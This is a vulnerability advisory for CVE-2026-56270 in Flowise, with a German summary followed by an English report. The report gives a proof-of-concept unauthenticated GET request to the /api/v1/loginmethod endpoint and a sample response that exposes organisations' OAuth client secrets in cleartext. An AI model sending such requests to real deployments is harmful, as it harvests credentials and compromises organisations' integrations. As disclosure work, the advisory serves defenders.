CVE-2026-56270

Ein Angreifer kann mehrere Schwachstellen in Flowise ausnutzen, um beliebigen Programmcode auszuführen, um Sicherheitsvorkehrungen zu umgehen, um Informationen offenzulegen, und um Dateien zu manipulieren.

### Summary I have discovered a critical Missing Authentication vulnerability on the /api/v1/loginmethod endpoint. The API allows unauthenticated users (guests) to retrieve the full SSO configuration of any organization by simply providing an organizationId. The response includes sensitive OAuth credentials (Client Secrets) in cleartext. ### PoC The following request can be sent by anyone on the internet without any cookies or authorization headers. Request ```http GET /api/v1/loginmethod?organizationId=<any_organization_id> HTTP/2 Host: cloud.flowiseai.com Accept: application/json Content-Type: application/json ``` Response: The server returns 200 OK with sensitive credentials: ```json { "providers": [ { "id": "a04ba769-b810-481d-8d6b-84f8c377dea5", "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d", "name": "azure", "config": { "tenantID": "", "clientID": "", "clientSecret": "" }, "status": "disable", "createdDate": "2025-12-26T18:52:33.453Z", "updatedDate": "2025-12-26T19:31:56.087Z", "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2", "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2" }, { "id": "eda8bd90-1c45-4aca-933f-3a53d9be4161", "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d", "name": "google", "config": { "clientID": "123455", "clientSecret": "123455" }, "status": "enable", "createdDate": "2025-12-26T18:52:33.453Z", "updatedDate": "2025-12-26T19:31:56.087Z", "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2", "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2" }, { "id": "0d238df0-c89c-4733-bf57-6ec06f58c7e7", "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d", "name": "auth0", "config": { "domain": "", "clientID": "", "clientSecret": "" }, "status": "disable", "createdDate": "2025-12-26T18:52:33.453Z", "updatedDate": "2025-12-26T19:31:56.087Z", "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2", "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2" }, { "id": "e060ae88-c7f4-4b7c-9bdc-5321963a1648", "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d", "name": "github", "config": { "clientID": "", "clientSecret": "" }, "status": "disable", "createdDate": "2025-12-26T18:52:33.453Z", "updatedDate": "2025-12-26T19:31:56.087Z", "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2", "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2" } ], "callbacks": [ { "providerName": "azure", "callbackURL": "https://cloud.flowiseai.com/api/v1/azure/callback" }, { "providerName": "google", "callbackURL": "https://cloud.flowiseai.com/api/v1/google/callback" }, { "providerName": "auth0", "callbackURL": "https://cloud.flowiseai.com/api/v1/auth0/callback" }, { "providerName": "github", "callbackURL": "https://cloud.flowiseai.com/api/v1/github/callback" } ] } ``` ### Affected Deployments - FlowiseAI Cloud (cloud.flowiseai.com) - Self-hosted FlowiseAI instances where the /api/v1/loginmethod endpoint is exposed ### Impact An unauthenticated attacker can harvest sensitive API secrets (Google, Microsoft, GitHub Client Secrets) from any organization on the cloud platform. This leads to complete compromise of the organization's third-party integrations and potential data breaches.